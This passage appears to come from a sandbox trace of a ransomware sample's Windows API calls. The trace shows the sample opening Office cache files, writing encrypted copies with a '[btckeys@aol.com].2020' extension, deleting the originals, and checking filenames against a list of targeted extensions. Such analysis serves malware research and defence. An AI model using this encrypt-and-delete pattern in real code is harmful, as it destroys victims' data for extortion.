"c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.422] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1608) returned 1 [0062.422] CloseHandle (hObject=0x16c) returned 1 [0062.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.423] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.423] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.423] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.423] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.423] GetLastError () returned 0x0 [0062.423] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x648, lpOverlapped=0x0) returned 1 [0062.425] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x650, lpOverlapped=0x0) returned 1 [0062.426] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0062.426] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.426] SetEndOfFile (hFile=0x170) returned 1 [0062.426] CloseHandle (hObject=0x170) returned 1 [0062.427] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.427] SetEndOfFile (hFile=0x16c) returned 1 [0062.553] CloseHandle (hObject=0x16c) returned 1 [0062.553] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.553] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.554] lstrlenW (lpString=".doc") returned 4 [0062.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.554] lstrlenW (lpString=".docx") returned 5 [0062.554] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.554] lstrlenW (lpString=".pdf") returned 4 [0062.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.554] lstrlenW (lpString=".xls") returned 4 [0062.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.554] lstrlenW (lpString=".xlsx") returned 5 [0062.554] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.554] lstrlenW (lpString=".ppt") returned 4 [0062.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.554] lstrlenW (lpString=".zip") returned 4 [0062.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.554] lstrlenW (lpString=".rar") returned 4 [0062.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.554] lstrlenW (lpString=".bz2") returned 4 [0062.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.554] lstrlenW (lpString=".7z") returned 3 [0062.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.554] lstrlenW (lpString=".dbf") returned 4 [0062.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.555] lstrlenW (lpString=".1cd") returned 4 [0062.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.555] lstrlenW (lpString=".jpg") returned 4 [0062.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.555] lstrlenW (lpString=".doc") returned 4 [0062.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString=".docx") returned 5 [0062.555] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.555] lstrlenW (lpString=".pdf") returned 4 [0062.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString=".xls") returned 4 [0062.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString=".xlsx") returned 5 [0062.555] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.555] lstrlenW (lpString=".ppt") returned 4 [0062.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.555] lstrlenW (lpString=".zip") returned 4 [0062.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.555] lstrlenW (lpString=".rar") returned 4 [0062.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.555] lstrlenW (lpString=".bz2") returned 4 [0062.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.556] lstrlenW (lpString=".7z") returned 3 [0062.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.556] lstrlenW (lpString=".dbf") returned 4 [0062.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.556] lstrlenW (lpString=".1cd") returned 4 [0062.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.556] lstrlenW (lpString=".jpg") returned 4 [0062.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.556] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.556] lstrlenW (lpString="Setup.xml") returned 9 [0062.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.557] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2424) returned 1 [0062.557] CloseHandle (hObject=0x16c) returned 1 [0062.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.557] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.557] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0063.047] GetLastError () returned 0x0 [0063.047] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x978, lpOverlapped=0x0) returned 1 [0063.424] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x980, lpOverlapped=0x0) returned 1 [0063.424] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0063.424] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.424] SetEndOfFile (hFile=0x188) returned 1 [0063.425] CloseHandle (hObject=0x188) returned 1 [0063.426] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.426] SetEndOfFile (hFile=0x16c) returned 1 [0063.427] CloseHandle (hObject=0x16c) returned 1 [0063.427] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.427] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0063.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.427] lstrlenW (lpString=".doc") returned 4 [0063.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString=".docx") returned 5 [0063.428] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.428] lstrlenW (lpString=".pdf") returned 4 [0063.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString=".xls") returned 4 [0063.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString=".xlsx") returned 5 [0063.428] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.428] lstrlenW (lpString=".ppt") returned 4 [0063.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.428] lstrlenW (lpString=".zip") returned 4 [0063.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.428] lstrlenW (lpString=".rar") returned 4 [0063.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString=".bz2") returned 4 [0063.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString=".7z") returned 3 [0063.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.428] lstrlenW (lpString=".dbf") returned 4 [0063.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.428] lstrlenW (lpString=".1cd") returned 4 [0063.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.428] lstrlenW (lpString=".jpg") returned 4 [0063.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.429] lstrlenW (lpString=".doc") returned 4 [0063.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString=".docx") returned 5 [0063.429] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.429] lstrlenW (lpString=".pdf") returned 4 [0063.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString=".xls") returned 4 [0063.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString=".xlsx") returned 5 [0063.429] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.429] lstrlenW (lpString=".ppt") returned 4 [0063.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.429] lstrlenW (lpString=".zip") returned 4 [0063.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.429] lstrlenW (lpString=".rar") returned 4 [0063.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString=".bz2") returned 4 [0063.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.429] lstrlenW (lpString=".7z") returned 3 [0063.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.430] lstrlenW (lpString=".dbf") returned 4 [0063.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.430] lstrlenW (lpString=".1cd") returned 4 [0063.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.430] lstrlenW (lpString=".jpg") returned 4 [0063.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.430] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.430] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0063.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0063.431] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1231) returned 1 [0063.431] CloseHandle (hObject=0x16c) returned 1 [0063.432] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0063.432] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0063.432] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.432] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0063.433] GetLastError () returned 0x0 [0063.433] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x4cf, lpOverlapped=0x0) returned 1 [0063.492] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0063.492] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0063.492] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf2, lpOverlapped=0x0) returned 1 [0063.493] SetEndOfFile (hFile=0x188) returned 1 [0063.493] CloseHandle (hObject=0x188) returned 1 [0063.499] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0063.499] SetEndOfFile (hFile=0x16c) returned 1 [0063.499] CloseHandle (hObject=0x16c) returned 1 [0063.500] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.500] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0063.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.500] lstrlenW (lpString=".doc") returned 4 [0063.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.500] lstrlenW (lpString=".docx") returned 5 [0063.500] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.500] lstrlenW (lpString=".pdf") returned 4 [0063.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString=".xls") returned 4 [0063.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString=".xlsx") returned 5 [0063.501] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.501] lstrlenW (lpString=".ppt") returned 4 [0063.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.501] lstrlenW (lpString=".zip") returned 4 [0063.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.501] lstrlenW (lpString=".rar") returned 4 [0063.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString=".bz2") returned 4 [0063.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString=".7z") returned 3 [0063.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.501] lstrlenW (lpString=".dbf") returned 4 [0063.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.501] lstrlenW (lpString=".1cd") returned 4 [0063.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.501] lstrlenW (lpString=".jpg") returned 4 [0063.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.501] lstrlenW (lpString=".doc") returned 4 [0063.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString=".docx") returned 5 [0063.502] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.502] lstrlenW (lpString=".pdf") returned 4 [0063.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString=".xls") returned 4 [0063.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString=".xlsx") returned 5 [0063.502] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.502] lstrlenW (lpString=".ppt") returned 4 [0063.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.502] lstrlenW (lpString=".zip") returned 4 [0063.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.502] lstrlenW (lpString=".rar") returned 4 [0063.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString=".bz2") returned 4 [0063.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString=".7z") returned 3 [0063.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.502] lstrlenW (lpString=".dbf") returned 4 [0063.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.502] lstrlenW (lpString=".1cd") returned 4 [0063.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0063.502] lstrlenW (lpString=".jpg") returned 4 [0063.502] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.503] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.503] lstrlenW (lpString="VisioMUI.xml") returned 12 [0063.503] CreateFileW (lpFileName="C:\\MSOCache\\All 